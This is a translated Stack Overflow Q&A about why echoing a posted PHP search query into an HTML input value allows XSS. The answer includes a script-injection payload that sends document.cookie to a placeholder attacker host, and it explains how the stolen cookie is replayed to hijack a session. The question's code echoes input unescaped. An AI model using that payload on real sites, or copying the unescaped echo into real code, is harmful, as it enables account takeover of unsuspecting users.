我有一个搜索表单:
<form method="POST">
<input type="search" name="q">
<input type="submit" value="Search" name="search">
</form>
然后在 PHP 文件中:
if( isset($_POST['q']) ){
//Assigning the posted query to a variable.
$query = $_POST['q'];
//Get matches from the DB.
$stmt = $conn->prepare('SELECT * FROM posts WHERE title OR description LIKE :s');
$stmt->bindValue(':s', '%' . $query . '%', PDO::PARAM_STR);
$stmt->execute();
$count = $stmt->rowCount();
//if there are matches.
if($count > 0){
//Get the matches.
$matches = $stmt->fetchAll();
foreach($posts as $post){
//Do Something.
}
}
}
现在一切都很好,我想,为什么如果我执行以下操作:
<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">
或者:
<input type="search" value="<?php if(isset($query)){echo $query;} ?>" name="q">
这可能会导致攻击?
最佳答案
攻击者可以使用 XSS 向毫无戒心的用户发送恶意脚本。
例如,攻击者可以在他的网站中制作一个表单,该表单会重定向到您的地址,其中包含以下内容:
<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">
通过使用这种方法,攻击者可以做一些简单但危险的事情。
最危险的事情之一是((复制并使用目标用户的cookie))。这意味着攻击者可以在他的表单中键入此默认值:
"><script>document.location='http://Hacker'sDomain.com/cookiestealer.php?cookie='+document.cookie;</script>
如您所见,黑客可以轻松保存目标用户的 cookie...
现在黑客有了用户的cookie(假设用户已登录)。因此他可以轻松地将其放入浏览器的控制台并以目标用户身份登录!!:
document.cookie="Stealed Cookie Here!";
<小时/>
为了更好地理解,您可以通过在浏览器控制台中执行 document.cookie
来复制您的 cookie,并通过执行以下命令将其粘贴到另一个浏览器或 PC:document.cookie="Put the Copy cookie 在这里”
请注意,每个网站和每次登录时保存的 cookie 都是不同的,因此很难,黑客需要一点机会来做到这一点:)
P.S:您可以按 F12 访问浏览器的控制台。
<小时/>如果您想让我用更多代码解释更多内容,请在评论中说:)
关于php - 为什么将posted变量打印到html代码中会导致XSS?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51459004/